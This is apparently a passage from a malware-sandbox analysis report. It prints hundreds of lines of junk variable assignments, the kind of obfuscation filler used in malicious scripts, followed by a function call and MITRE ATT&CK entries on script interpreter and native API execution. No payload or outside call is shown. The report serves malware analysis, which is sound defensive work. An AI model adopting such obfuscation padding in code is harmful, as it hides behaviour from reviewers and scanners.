423	eahgtvhsv = "s";
424	eahgtvhsv = "N";
425	eahgtvhsv = "T";
426	eahgtvhsv = "h";
427	eahgtvhsv = "Q";
428	eahgtvhsv = "y";
429	eahgtvhsv = "X";
430	eahgtvhsv = "r";
431	eahgtvhsv = "s";
432	eahgtvhsv = "X";
433	eahgtvhsv = "q";
434	eahgtvhsv = "C";
435	eahgtvhsv = "D";
436	eahgtvhsv = "z";
437	eahgtvhsv = "i";
438	eahgtvhsv = "N";
439	eahgtvhsv = "A";
440	eahgtvhsv = "j";
441	eahgtvhsv = "X";
442	eahgtvhsv = "v";
443	eahgtvhsv = "u";
444	eahgtvhsv = "Y";
445	eahgtvhsv = "x";
446	eahgtvhsv = "D";
447	eahgtvhsv = "e";
448	eahgtvhsv = "y";
449	eahgtvhsv = "d";
450	eahgtvhsv = "q";
451	eahgtvhsv = "D";
452	eahgtvhsv = "L";
453	eahgtvhsv = "o";
454	eahgtvhsv = "d";
455	eahgtvhsv = "S";
456	eahgtvhsv = "i";
457	eahgtvhsv = "w";
458	eahgtvhsv = "f";
459	eahgtvhsv = "a";
460	eahgtvhsv = "H";
461	eahgtvhsv = "O";
462	eahgtvhsv = "Q";
463	eahgtvhsv = "O";
464	eahgtvhsv = "t";
465	wiwdmju = "X";
466	wiwdmju = "Y";
467	wiwdmju = "x";
468	wiwdmju = "M";
469	wiwdmju = "U";
470	wiwdmju = "t";
471	wiwdmju = "t";
472	wiwdmju = "J";
473	wiwdmju = "v";
474	wiwdmju = "E";
475	cbpfeh = "s";
476	cbpfeh = "B";
477	cbpfeh = "E";
478	cbpfeh = "e";
479	cbpfeh = "K";
480	cbpfeh = "e";
481	cbpfeh = "j";
482	atavzwgxx = "j";
483	atavzwgxx = "a";
484	atavzwgxx = "d";
485	atavzwgxx = "A";
486	atavzwgxx = "b";
487	atavzwgxx = "q";
488	atavzwgxx = "v";
489	atavzwgxx = "K";
490	atavzwgxx = "q";
491	atavzwgxx = "O";
492	atavzwgxx = "U";
493	atavzwgxx = "b";
494	atavzwgxx = "Q";
495	atavzwgxx = "L";
496	atavzwgxx = "M";
497	atavzwgxx = "m";
498	atavzwgxx = "P";
499	atavzwgxx = "1";
500	wrozvg = "H";
501	wrozvg = "I";
502	wrozvg = "P";
503	wrozvg = "D";
504	wrozvg = "l";
505	wrozvg = "B";
506	wrozvg = "e";
507	wrozvg = "d";
508	wrozvg = "w";
509	wrozvg = "Q";
510	wrozvg = "R";
511	wrozvg = "x";
512	wrozvg = "r";
513	wrozvg = "a";
514	wrozvg = "p";
515	wrozvg = "D";
516	wrozvg = "G";
517	wrozvg = "d";
518	wrozvg = "A";
519	wrozvg = "C";
520	wrozvg = "x";
521	wrozvg = "L";
522	wrozvg = "V";
523	wrozvg = "U";
524	wrozvg = "z";
525	wrozvg = "v";
526	wrozvg = "S";
527	wrozvg = "w";
528	wrozvg = "Y";
529	wrozvg = "S";
530	wrozvg = "C";
531	wrozvg = "c";
532	wrozvg = "W";
533	wrozvg = "a";
534	asyebpl = "Y";
535	asyebpl = "Y";
536	asyebpl = "E";
537	asyebpl = "O";
538	asyebpl = "r";
539	asyebpl = "M";
540	asyebpl = "A";
541	asyebpl = "c";
542	asyebpl = "h";
543	asyebpl = "W";
544	asyebpl = "o";
545	asyebpl = "I";
546	asyebpl = "p";
547	asyebpl = "F";
548	asyebpl = "g";
549	asyebpl = "Q";
550	asyebpl = "h";
551	asyebpl = "x";
552	asyebpl = "C";
553	asyebpl = "J";
554	asyebpl = "A";
555	asyebpl = "I";
556	asyebpl = "8";
557	qiizxeebo = "d";
558	qiizxeebo = "U";
559	qiizxeebo = "m";
560	qiizxeebo = "I";
561	qiizxeebo = "g";
562	qiizxeebo = "D";
563	qiizxeebo = "p";
564	qiizxeebo = "P";
565	ftbhmk = "V";
566	ftbhmk = "F";
567	ftbhmk = "V";
568	ftbhmk = "A";
569	ftbhmk = "t";
570	ftbhmk = "W";
571	ftbhmk = "l";
572	ftbhmk = "&";
573	afdljdarq = "n";
574	afdljdarq = "Z";
575	afdljdarq = "d";
576	afdljdarq = "U";
577	afdljdarq = "K";
578	afdljdarq = "M";
579	afdljdarq = "X";
580	afdljdarq = "K";
581	afdljdarq = "Z";
582	afdljdarq = "c";
583	afdljdarq = "H";
584	afdljdarq = "Q";
585	afdljdarq = "g";
586	afdljdarq = "s";
587	afdljdarq = "-";
588	yipyi = "Y";
589	yipyi = "F";
590	yipyi = "x";
591	yipyi = "q";
592	yipyi = "n";
593	yipyi = "j";
594	yipyi = "g";
595	yipyi = "f";
596	yipyi = "s";
597	cducpc = "U";
598	cducpc = "q";
599	cducpc = "Z";
600	cducpc = "j";
601	cducpc = "i";
602	cducpc = "v";
603	cducpc = "K";
604	cducpc = "R";
605	cducpc = "a";
606	cducpc = "g";
607	cducpc = "U";
608	cducpc = "g";
609	cducpc = "H";
610	cducpc = "G";
611	cducpc = "A";
612	cducpc = "T";
613	cducpc = "b";
614	cducpc = "x";
615	cducpc = "U";
616	cducpc = "f";
617	cducpc = "h";
618	cducpc = "t";
619	cducpc = "z";
620	cducpc = "I";
621	cducpc = "L";
622	cducpc = "D";
623	cducpc = "c";
624	cducpc = "U";
625	cducpc = "t";
626	cducpc = "D";
627	cducpc = "A";
628	cducpc = "b";
629	cducpc = "h";
630	cducpc = "l";
631	cducpc = "Y";
632	cducpc = "J";
633	cducpc = "f";
634	cducpc = "J";
635	cducpc = "Q";
636	cducpc = "v";
637	cducpc = "\\";
638	mcscqauqu = "n";
639	mcscqauqu = "z";
640	mcscqauqu = "X";
641	mcscqauqu = "k";
642	mcscqauqu = "f";
643	mcscqauqu = "B";
644	mcscqauqu = "E";
645	mcscqauqu = "U";
646	mcscqauqu = "i";
647	mcscqauqu = "W";
648	mcscqauqu = "C";
649	mcscqauqu = "Z";
650	mcscqauqu = "z";
651	mcscqauqu = "k";
652	mcscqauqu = "l";
653	ubxlywn = "h";
654	ubxlywn = "y";
655	ubxlywn = "a";
656	ubxlywn = "O";
657	ubxlywn = "Z";
658	ubxlywn = "W";
659	ubxlywn = "W";
660	ubxlywn = "d";
661	ubxlywn = "C";
662	ubxlywn = "N";
663	ubxlywn = "P";
664	ubxlywn = "x";
665	ubxlywn = "X";
666	ubxlywn = "J";
667	ubxlywn = "M";
668	ubxlywn = "y";
669	ubxlywn = "s";
670	ubxlywn = "D";
671	ubxlywn = "P";
672	ubxlywn = "R";
673	ubxlywn = "l";
674	ubxlywn = "D";
675	ubxlywn = "Y";
676	ubxlywn = "Y";
677	grxvk = "C";
678	grxvk = "T";
679	grxvk = "H";
680	grxvk = "M";
681	grxvk = "p";
682	grxvk = "U";
683	grxvk = "N";
684	leiztgcv = "l";
685	leiztgcv = "N";
686	leiztgcv = "I";
687	leiztgcv = "P";
688	leiztgcv = "T";
689	leiztgcv = "O";
690	leiztgcv = "E";
691	leiztgcv = "3";
692	ueyvtesrz = "A";
693	ueyvtesrz = "Z";
694	ueyvtesrz = "L";
695	ueyvtesrz = "J";
696	ueyvtesrz = "Z";
697	ueyvtesrz = "N";
698	ueyvtesrz = "f";
699	ueyvtesrz = "e";
700	ueyvtesrz = "U";
701	ueyvtesrz = "C";
702	ueyvtesrz = "l";
703	ueyvtesrz = "P";
704	ueyvtesrz = "x";
705	ueyvtesrz = "a";
706	ueyvtesrz = "D";
707	ueyvtesrz = "D";
708	ueyvtesrz = "d";
709	ueyvtesrz = "v";
710	ueyvtesrz = "Y";
711	ueyvtesrz = "F";
712	ueyvtesrz = "C";
713	ueyvtesrz = "k";
714	ueyvtesrz = "I";
715	ueyvtesrz = "J";
716	ueyvtesrz = "m";
717	ueyvtesrz = "w";
718	ueyvtesrz = "d";
719	ueyvtesrz = "e";
720	ueyvtesrz = "v";
721	ueyvtesrz = "v";
722	ueyvtesrz = "p";
723	ueyvtesrz = "z";
724	ueyvtesrz = "9";
725	vnioyx = "Y";
726	vnioyx = "j";
727	vnioyx = "c";
728	vnioyx = "A";
729	vnioyx = "z";
730	vnioyx = "R";
731	vnioyx = "B";
732	vnioyx = "m";
733	vnioyx = "D";
734	vnioyx = "u";
735	vnioyx = "J";
736	vnioyx = "k";
737	vnioyx = "v";
738	vnioyx = "O";
739	vnioyx = "Y";
740	vnioyx = "z";
741	vnioyx = "G";
742	vnioyx = "S";
743	vnioyx = "m";
744	vnioyx = "J";
745	vnioyx = "d";
746	vnioyx = "i";
747	vnioyx = "A";
748	vnioyx = "S";
749	vnioyx = "V";
750	vnioyx = "v";
751	vnioyx = "B";
752	vnioyx = "T";
753	vnioyx = "Y";
754	vnioyx = "R";
755	vnioyx = "L";
756	vnioyx = "p";
757	vnioyx = "p";
758	vnioyx = "Y";
759	vnioyx = "y";
760	vnioyx = "x";
761	vnioyx = "x";
762	vnioyx = "P";
763	vnioyx = "s";
764	vnioyx = "f";
765	vnioyx = "@";
766	edabdyac = "T";
767	edabdyac = "F";
768	edabdyac = "X";
769	edabdyac = "j";
770	edabdyac = "M";
771	edabdyac = "y";
772	edabdyac = "v";
773	edabdyac = "j";
774	edabdyac = "B";
775	edabdyac = "X";
776	edabdyac = "i";
777	edabdyac = "z";
778	edabdyac = "T";
779	edabdyac = "o";
780	edabdyac = "h";
781	edabdyac = "D";
782	edabdyac = "o";
783	edabdyac = "x";
784	edabdyac = "J";
785	edabdyac = "d";
786	edabdyac = "A";
787	edabdyac = "s";
788	edabdyac = "A";
789	edabdyac = "w";
790	edabdyac = "o";
791	edabdyac = "a";
792	edabdyac = "M";
793	edabdyac = "S";
794	edabdyac = "h";
795	edabdyac = "C";
796	edabdyac = "z";
797	edabdyac = "V";
798	edabdyac = "C";
799	edabdyac = "F";
800	edabdyac = "W";
801	jzeyyyv = "U";
802	jzeyyyv = "E";
803	jzeyyyv = "A";
804	jzeyyyv = "L";
805	jzeyyyv = "D";
806	jzeyyyv = "X";
807	jzeyyyv = "e";
808	jzeyyyv = "W";
809	jzeyyyv = "T";
810	avtxhv = "D";
811	avtxhv = "B";
812	avtxhv = "r";
813	avtxhv = "F";
814	avtxhv = "i";
815	avtxhv = "y";
816	avtxhv = "E";
817	avtxhv = "Y";
818	avtxhv = "H";
819	avtxhv = "A";
820	avtxhv = "a";
821	avtxhv = "T";
822	avtxhv = "o";
823	avtxhv = "K";
824	avtxhv = "w";
825	avtxhv = "x";
826	avtxhv = "S";
827	avtxhv = "o";
828	leosh = "E";
829	leosh = "d";
830	leosh = "R";
831	leosh = "k";
832	leosh = "O";
833	leosh = "V";
834	leosh = "K";
835	leosh = "a";
836	leosh = "T";
837	leosh = "W";
838	leosh = "l";
839	leosh = "Z";
840	leosh = "V";
841	leosh = "X";
842	leosh = "J";
843	leosh = "h";
844	leosh = "Z";
845	leosh = "q";
846	leosh = "w";
847	leosh = "h";
848	leosh = "V";
849	leosh = "o";
850	leosh = "T";
851	leosh = "P";
852	leosh = "s";
853	leosh = ":";
854	dcgcf = "j";
855	dcgcf = "r";
856	dcgcf = "Q";
857	dcgcf = "t";
858	dcgcf = "F";
859	dcgcf = "J";
860	dcgcf = "k";
861	dcgcf = "u";
862	rkenfsgmt = "D";
863	rkenfsgmt = "o";
864	rkenfsgmt = "E";
865	rkenfsgmt = "b";
866	rkenfsgmt = "c";
867	rkenfsgmt = "B";
868	rkenfsgmt = "f";
869	rkenfsgmt = "L";
870	rkenfsgmt = "M";
871	rkenfsgmt = "M";
872	rkenfsgmt = "W";
873	rkenfsgmt = "d";
874	rkenfsgmt = "B";
875	rkenfsgmt = "R";
876	rkenfsgmt = "C";
877	aktmxk = "h";
878	aktmxk = "l";
879	aktmxk = "k";
880	aktmxk = "u";
881	aktmxk = "e";
882	aktmxk = "t";
883	aktmxk = "Q";
884	aktmxk = "M";
885	aktmxk = "C";
886	aktmxk = "i";
887	aktmxk = "f";
888	aktmxk = "P";
889	aktmxk = "D";
890	aktmxk = "R";
891	aktmxk = "z";
892	aktmxk = "P";
893	aktmxk = "r";
894	aktmxk = "i";
895	aktmxk = "N";
896	aktmxk = "o";
897	aktmxk = "U";
898	aktmxk = "l";
899	aktmxk = "B";
900	aktmxk = "X";
901	aktmxk = "G";
902	aktmxk = "V";
903	aktmxk = "v";
904	aktmxk = "T";
905	aktmxk = "K";
906	aktmxk = "I";
907	aktmxk = "R";
908	aktmxk = "j";
909	aktmxk = "v";
910	aktmxk = "D";
911	aktmxk = "t";
912	aktmxk = "i";
913	aktmxk = "w";
914	aktmxk = "F";
915	aktmxk = "B";
916	aktmxk = "E";
917	aktmxk = "v";
918	aktmxk = "a";
919	aktmxk = "P";
920	aktmxk = "m";
921	cjhkqja = "d";
922	cjhkqja = "r";
923	cjhkqja = "r";
924	cjhkqja = "k";
925	cjhkqja = "w";
926	mmhum = "Q";
927	mmhum = "P";
928	mmhum = "r";
929	mmhum = "y";
930	mmhum = "R";
931	mmhum = "A";
932	mmhum = "x";
933	mmhum = "G";
934	mmhum = "K";
935	mmhum = "B";
936	mmhum = "v";
937	mmhum = "p";
938	mmhum = "y";
939	mmhum = "i";
940	mmhum = "r";
941	mmhum = "a";
942	mmhum = "j";
943	mmhum = "u";
944	mmhum = "d";
945	plwispuu = "f";
946	plwispuu = "S";
947	plwispuu = "x";
948	plwispuu = "r";
949	plwispuu = "V";
950	plwispuu = "L";
951	plwispuu = "d";
952	plwispuu = "Y";
953	plwispuu = "E";
954	plwispuu = "E";
955	plwispuu = "H";
956	plwispuu = "Z";
957	plwispuu = "p";
958	plwispuu = "k";
959	plwispuu = "L";
960	plwispuu = "W";
961	plwispuu = "U";
962	acbjefy = "a";
963	acbjefy = "M";
964	acbjefy = "L";
965	acbjefy = "U";
966	acbjefy = "x";
967	acbjefy = "s";
968	acbjefy = "V";
969	acbjefy = "w";
970	acbjefy = "O";
971	acbjefy = "c";
972	tqgtdr = "f";
973	tqgtdr = "J";
974	tqgtdr = "n";
975	tqgtdr = "b";
976	tqgtdr = "F";
977	tqgtdr = "w";
978	tqgtdr = "X";
979	tqgtdr = "a";
980	tqgtdr = "Y";
981	tqgtdr = "x";
982	tqgtdr = "t";
983	tqgtdr = "i";
984	tqgtdr = "W";
985	tqgtdr = "y";
986	tqgtdr = "D";
987	tqgtdr = "u";
988	tqgtdr = "z";
989	tqgtdr = "d";
990	tqgtdr = "d";
991	tqgtdr = "a";
992	tqgtdr = "O";
993	tqgtdr = "S";
994	tqgtdr = "w";
995	tqgtdr = "C";
996	tqgtdr = "V";
997	tqgtdr = "P";
998	tqgtdr = "a";
999	tqgtdr = "B";
1000	tqgtdr = "b";
1001	tqgtdr = "j";
1002	tqgtdr = "/";
1003	dngoakdi = "X";
1004	dngoakdi = "X";
1005	dngoakdi = "z";
1006	dngoakdi = "Y";
1007	dngoakdi = "C";
1008	dngoakdi = "n";
1009	dngoakdi = "y";
1010	dngoakdi = "h";
1011	dngoakdi = "j";
1012	dngoakdi = "a";
1013	dngoakdi = "E";
1014	dngoakdi = "N";
1015	dngoakdi = "S";
1016	dngoakdi = "n";
1017	dngoakdi = "v";
1018	dngoakdi = "z";
1019	dngoakdi = "u";
1020	dngoakdi = "B";
1021	dngoakdi = "J";
1022	dngoakdi = "y";
1023	dngoakdi = "h";
1024	dngoakdi = "e";
1025	dngoakdi = "A";
1026	dngoakdi = "A";
1027	dngoakdi = "I";
1028	dngoakdi = "f";
1029	dngoakdi = "B";
1030	dngoakdi = "h";
1031	dngoakdi = "X";
1032	dngoakdi = " ";
1033	zpzbskrk = "k";
1034	zpzbskrk = "K";
1035	zpzbskrk = "t";
1036	zpzbskrk = "Q";
1037	zpzbskrk = "l";
1038	zpzbskrk = "T";
1039	zpzbskrk = "s";
1040	zpzbskrk = "G";
1041	zpzbskrk = "o";
1042	zpzbskrk = "Y";
1043	zpzbskrk = "i";
1044	zpzbskrk = "P";
1045	zpzbskrk = "P";
1046	zpzbskrk = "u";
1047	zpzbskrk = "V";
1048	zpzbskrk = "C";
1049	zpzbskrk = "R";
1050	zpzbskrk = "c";
1051	zpzbskrk = "b";
1052	zpzbskrk = "E";
1053	zpzbskrk = "R";
1054	zpzbskrk = "J";
1055	zpzbskrk = "S";
1056	zpzbskrk = "t";
1057	zpzbskrk = "l";
1058	zpzbskrk = "O";
1059	zpzbskrk = "v";
1060	zpzbskrk = "h";
1061	zpzbskrk = "T";
1062	zpzbskrk = "Y";
1063	zpzbskrk = "C";
1064	zpzbskrk = "c";
1065	zpzbskrk = "E";
1066	zpzbskrk = "i";
1067	zpzbskrk = "G";
1068	zpzbskrk = "n";
1069	zpzbskrk = "q";
1070	zpzbskrk = "R";
1071	zpzbskrk = "e";
1072	zpzbskrk = "Z";
1073	zpzbskrk = "s";
1074	zpzbskrk = "A";
1075	zpzbskrk = "m";
1076	zpzbskrk = "L";
1077	zefktmqkf = "j";
1078	zefktmqkf = "f";
1079	zefktmqkf = "D";
1080	zefktmqkf = "x";
1081	zefktmqkf = "V";
1082	zefktmqkf = "r";
1083	zefktmqkf = "u";
1084	zefktmqkf = "w";
1085	zefktmqkf = "v";
1086	zefktmqkf = "V";
1087	zefktmqkf = "p";
1088	zmhzzsro = "x";
1089	zmhzzsro = "u";
1090	zmhzzsro = "h";
1091	zmhzzsro = "B";
1092	zmhzzsro = "F";
1093	zmhzzsro = "p";
1094	zmhzzsro = "K";
1095	zmhzzsro = "J";
1096	zmhzzsro = "H";
1097	zmhzzsro = "A";
1098	zmhzzsro = "a";
1099	zmhzzsro = "D";
1100	zmhzzsro = "A";
1101	zmhzzsro = "Z";
1102	zmhzzsro = "F";
1103	zmhzzsro = "C";
1104	zmhzzsro = "u";
1105	zmhzzsro = "N";
1106	zmhzzsro = "v";
1107	zmhzzsro = "c";
1108	zmhzzsro = "S";
1109	vqwudj = "H";
1110	vqwudj = "f";
1111	vqwudj = "I";
1112	vqwudj = "f";
1113	vqwudj = "P";
1114	vqwudj = "H";
1115	vqwudj = "r";
1116	vqwudj = "y";
1117	vqwudj = "v";
1118	vqwudj = "i";
1119	vqwudj = "Y";
1120	vqwudj = "W";
1121	vqwudj = "Z";
1122	vqwudj = "O";
1123	vqwudj = "z";
1124	vqwudj = "V";
1125	vqwudj = "e";
1126	vqwudj = "g";
1127	vqwudj = "y";
1128	vqwudj = "K";
1129	vqwudj = "G";
1130	vqwudj = "H";
1131	vqwudj = "B";
1132	vqwudj = "W";
1133	vqwudj = "K";
1134	vqwudj = "t";
1135	vqwudj = "A";
1136	vqwudj = "D";
1137	vqwudj = "v";
1138	vqwudj = "n";
1139	vqwudj = "c";
1140	vqwudj = "d";
1141	vqwudj = "U";
1142	vqwudj = "W";
1143	vqwudj = "t";
1144	vqwudj = "X";
1145	vqwudj = "\"";
1146	ctlazjma = "T";
1147	ctlazjma = "S";
1148	ctlazjma = "l";
1149	ctlazjma = "S";
1150	ctlazjma = "f";
1151	ctlazjma = "w";
1152	ctlazjma = "t";
1153	ctlazjma = "i";
1154	ctlazjma = "G";
1155	ctlazjma = "a";
1156	ctlazjma = "I";
1157	ctlazjma = "b";
1158	ctlazjma = "N";
1159	ctlazjma = "q";
1160	ctlazjma = "O";
1161	ctlazjma = "l";
1162	ctlazjma = "t";
1163	ctlazjma = "B";
1164	ctlazjma = "H";
1165	ctlazjma = "t";
1166	ctlazjma = "E";
1167	ctlazjma = "e";
1168	ctlazjma = "v";
1169	ctlazjma = "G";
1170	ctlazjma = "F";
1171	ctlazjma = "M";
1172	ctlazjma = "S";
1173	ctlazjma = "u";
1174	ctlazjma = "B";
1175	ctlazjma = "Q";
1176	ctlazjma = "W";
1177	ctlazjma = "h";
1178	ctlazjma = "T";
1179	ctlazjma = "q";
1180	ctlazjma = "r";
1181	xldiwfk = "s";
1182	xldiwfk = "w";
1183	xldiwfk = "g";
1184	xldiwfk = "h";
1185	xldiwfk = "x";
1186	xldiwfk = "q";
1187	xldiwfk = "A";
1188	xldiwfk = "Y";
1189	xldiwfk = "C";
1190	xldiwfk = "b";
1191	xldiwfk = "w";
1192	xldiwfk = "Y";
1193	xldiwfk = "M";
1194	xldiwfk = "C";
1195	xldiwfk = "U";
1196	xldiwfk = "F";
1197	xldiwfk = "o";
1198	xldiwfk = "Q";
1199	xldiwfk = "n";
1200	xldiwfk = "O";
1201	xldiwfk = "u";
1202	xldiwfk = "i";
1203	xldiwfk = "V";
1204	xldiwfk = "V";
1205	xldiwfk = "u";
1206	xldiwfk = "t";
1207	xldiwfk = "B";
1208	xldiwfk = "f";
1209	xldiwfk = "j";
1210	xldiwfk = "G";
1211	xldiwfk = "H";
1212	xldiwfk = "E";
1213	xldiwfk = "T";
1214	xldiwfk = "v";
1215	xldiwfk = "n";
1216	vrugdus = "B";
1217	vrugdus = "y";
1218	vrugdus = "a";
1219	vrugdus = "m";
1220	vrugdus = "e";
1221	vrugdus = "M";
1222	vrugdus = "z";
1223	vrugdus = "G";
1224	vrugdus = "k";
1225	vrugdus = "Z";
1226	vrugdus = "B";
1227	vrugdus = "a";
1228	vrugdus = "i";
1229	vrugdus = "u";
1230	vrugdus = "d";
1231	vrugdus = "M";
1232	vrugdus = "j";
1233	vrugdus = "P";
1234	vrugdus = "P";
1235	vrugdus = "K";
1236	xmpfxsuzm = "O";
1237	xmpfxsuzm = "G";
1238	xmpfxsuzm = "O";
1239	xmpfxsuzm = "i";
1240	xmpfxsuzm = "r";
1241	xmpfxsuzm = "e";
1242	xmpfxsuzm = "p";
1243	xmpfxsuzm = "d";
1244	xmpfxsuzm = "C";
1245	xmpfxsuzm = "z";
1246	xmpfxsuzm = "i";
1247	xmpfxsuzm = "c";
1248	xmpfxsuzm = "D";
1249	xmpfxsuzm = "g";
1250	xmpfxsuzm = "a";
1251	xmpfxsuzm = "d";
1252	xmpfxsuzm = "x";
1253	xmpfxsuzm = "W";
1254	xmpfxsuzm = "X";
1255	xmpfxsuzm = "V";
1256	xmpfxsuzm = "A";
1257	xmpfxsuzm = "p";
1258	xmpfxsuzm = "h";
1259	xmpfxsuzm = "h";
1260	xmpfxsuzm = "L";
1261	xmpfxsuzm = "d";
1262	xmpfxsuzm = "0";
1263	lgdsptj = "D";
1264	lgdsptj = "x";
1265	lgdsptj = "n";
1266	lgdsptj = "W";
1267	lgdsptj = "r";
1268	lgdsptj = "y";
1269	lgdsptj = "R";
1270	lgdsptj = "c";
1271	lgdsptj = "S";
1272	lgdsptj = "C";
1273	lgdsptj = "a";
1274	lgdsptj = "h";
1275	lgdsptj = "J";
1276	lgdsptj = "K";
1277	lgdsptj = "Z";
1278	lgdsptj = "F";
1279	lgdsptj = "I";
1280	lgdsptj = "b";
1281	lgdsptj = "M";
1282	lgdsptj = "d";
1283	lgdsptj = "S";
1284	lgdsptj = "m";
1285	lgdsptj = "x";
1286	lgdsptj = "M";
1287	lgdsptj = "I";
1288	lgdsptj = "a";
1289	lgdsptj = "R";
1290	ligkc = "x";
1291	ligkc = "v";
1292	ligkc = "G";
1293	ligkc = "m";
1294	ligkc = "j";
1295	ligkc = "j";
1296	ligkc = "A";
1297	ligkc = "e";
1298	ligkc = "T";
1299	ligkc = "H";
1300	ligkc = "l";
1301	ligkc = "I";
1302	ligkc = "M";
1303	ligkc = "L";
1304	ligkc = "I";
1305	ligkc = "R";
1306	ligkc = "L";
1307	ligkc = "R";
1308	ligkc = "g";
1309	ligkc = "g";
1310	ligkc = "d";
1311	ligkc = "h";
1312	ligkc = "y";
1313	ligkc = "N";
1314	ligkc = "X";
1315	ligkc = "H";
1316	ligkc = "l";
1317	ligkc = "s";
1318	ligkc = "u";
1319	ligkc = "F";
1320	ligkc = "y";
1321	ligkc = "V";
1322	ligkc = "e";
1323	ligkc = "M";
1324	ligkc = "b";
1325	ligkc = "c";
1326	ligkc = "L";
1327	ligkc = "P";
1328	ligkc = "D";
1329	ligkc = "w";
1330	ligkc = "r";
1331	ligkc = "2";
1332	foncxphja = "Y";
1333	foncxphja = "Y";
1334	foncxphja = "T";
1335	foncxphja = "C";
1336	foncxphja = "s";
1337	foncxphja = "a";
1338	foncxphja = "r";
1339	foncxphja = "z";
1340	foncxphja = "i";
1341	foncxphja = "o";
1342	foncxphja = "C";
1343	foncxphja = "y";
1344	foncxphja = "m";
1345	foncxphja = "x";
1346	foncxphja = "v";
1347	foncxphja = "e";
1348	foncxphja = "U";
1349	foncxphja = "F";
1350	foncxphja = "q";
1351	foncxphja = "E";
1352	foncxphja = "p";
1353	foncxphja = "U";
1354	foncxphja = "n";
1355	foncxphja = "o";
1356	foncxphja = "J";
1357	foncxphja = "h";
1358	foncxphja = "E";
1359	foncxphja = "c";
1360	foncxphja = "O";
1361	oobjth = "M";
1362	oobjth = "z";
1363	oobjth = "i";
1364	oobjth = "C";
1365	oobjth = "t";
1366	oobjth = "L";
1367	oobjth = "q";
1368	oobjth = "C";
1369	oobjth = "w";
1370	oobjth = "o";
1371	oobjth = "k";
1372	oobjth = "B";
1373	oobjth = "n";
1374	oobjth = "v";
1375	oobjth = "Y";
1376	oobjth = "J";
1377	oobjth = "y";
1378	oobjth = "I";
1379	oobjth = "L";
1380	oobjth = "p";
1381	oobjth = "D";
1382	oobjth = "j";
1383	oobjth = "Z";
1384	oobjth = "M";
1385	oobjth = "V";
1386	oobjth = "a";
1387	oobjth = "D";
1388	oobjth = "x";
1389	oobjth = "w";
1390	oobjth = "A";
1391	oobjth = "H";
1392	eyboa = "f";
1393	eyboa = "m";
1394	eyboa = "e";
1395	eyboa = "b";
1396	eyboa = "U";
1397	eyboa = "I";
1398	eyboa = "Y";
1399	eyboa = "k";
1400	eyboa = "q";
1401	eyboa = "p";
1402	eyboa = "P";
1403	eyboa = "e";
1404	eyboa = "m";
1405	eyboa = "G";
1406	eyboa = "O";
1407	eyboa = "Y";
1408	eyboa = "D";
1409	eyboa = "M";
1410	eyboa = "b";
1411	poosnlqv = "z";
1412	poosnlqv = "p";
1413	poosnlqv = "e";
1414	poosnlqv = "F";
1415	poosnlqv = "F";
1416	poosnlqv = "e";
1417	poosnlqv = "Q";
1418	poosnlqv = "e";
1419	poosnlqv = "f";
1420	poosnlqv = "p";
1421	poosnlqv = "r";
1422	poosnlqv = "h";
1423	poosnlqv = "w";
1424	poosnlqv = "x";
1425	yafhgnxc = "B";
1426	yafhgnxc = "O";
1427	yafhgnxc = "V";
1428	yafhgnxc = "t";
1429	yafhgnxc = "M";
1430	yafhgnxc = "l";
1431	yafhgnxc = "F";
1432	yafhgnxc = "m";
1433	yafhgnxc = "I";
1434	yafhgnxc = "A";
1435	yafhgnxc = "v";
1436	yafhgnxc = "k";
1437	yafhgnxc = "p";
1438	yafhgnxc = "F";
1439	yafhgnxc = "Q";
1440	yafhgnxc = "M";
1441	yafhgnxc = "I";
1442	yafhgnxc = "F";
1443	yafhgnxc = "x";
1444	yafhgnxc = "M";
1445	yafhgnxc = "g";
1446	yafhgnxc = "w";
1447	yafhgnxc = "k";
1448	yafhgnxc = "Q";
1449	yafhgnxc = "u";
1450	yafhgnxc = "P";
1451	yafhgnxc = "P";
1452	yafhgnxc = "d";
1453	yafhgnxc = "b";
1454	yafhgnxc = "h";
1455	yafhgnxc = "j";
1456	yafhgnxc = "u";
1457	yafhgnxc = "m";
1458	yafhgnxc = "N";
1459	yafhgnxc = "B";
1460	yafhgnxc = "h";
1461	yafhgnxc = "V";
1462	yafhgnxc = "Y";
1463	yafhgnxc = "L";
1464	yafhgnxc = "h";
1465	yafhgnxc = "X";
1466	yafhgnxc = "Z";
1467	yafhgnxc = "X";
1468	yafhgnxc = "B";
1469	yafhgnxc = "I";
1470	khblzpcgb = "g";
1471	khblzpcgb = "B";
1472	khblzpcgb = "H";
1473	khblzpcgb = "j";
1474	khblzpcgb = "z";
1475	khblzpcgb = "P";
1476	khblzpcgb = "y";
1477	khblzpcgb = "N";
1478	khblzpcgb = "C";
1479	khblzpcgb = "l";
1480	khblzpcgb = "h";
1481	khblzpcgb = "a";
1482	khblzpcgb = "Z";
1483	khblzpcgb = "B";
1484	khblzpcgb = "I";
1485	khblzpcgb = "y";
1486	khblzpcgb = "u";
1487	khblzpcgb = "Q";
1488	khblzpcgb = "M";
1489	khblzpcgb = "b";
1490	khblzpcgb = "F";
1491	khblzpcgb = "x";
1492	khblzpcgb = "J";
1493	khblzpcgb = "J";
1494	khblzpcgb = "b";
1495	khblzpcgb = "a";
1496	khblzpcgb = "o";
1497	khblzpcgb = "J";
1498	khblzpcgb = "5";
1499	zslctobqt ( );	zslctobqt() ➔ undefined

Reset < >

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

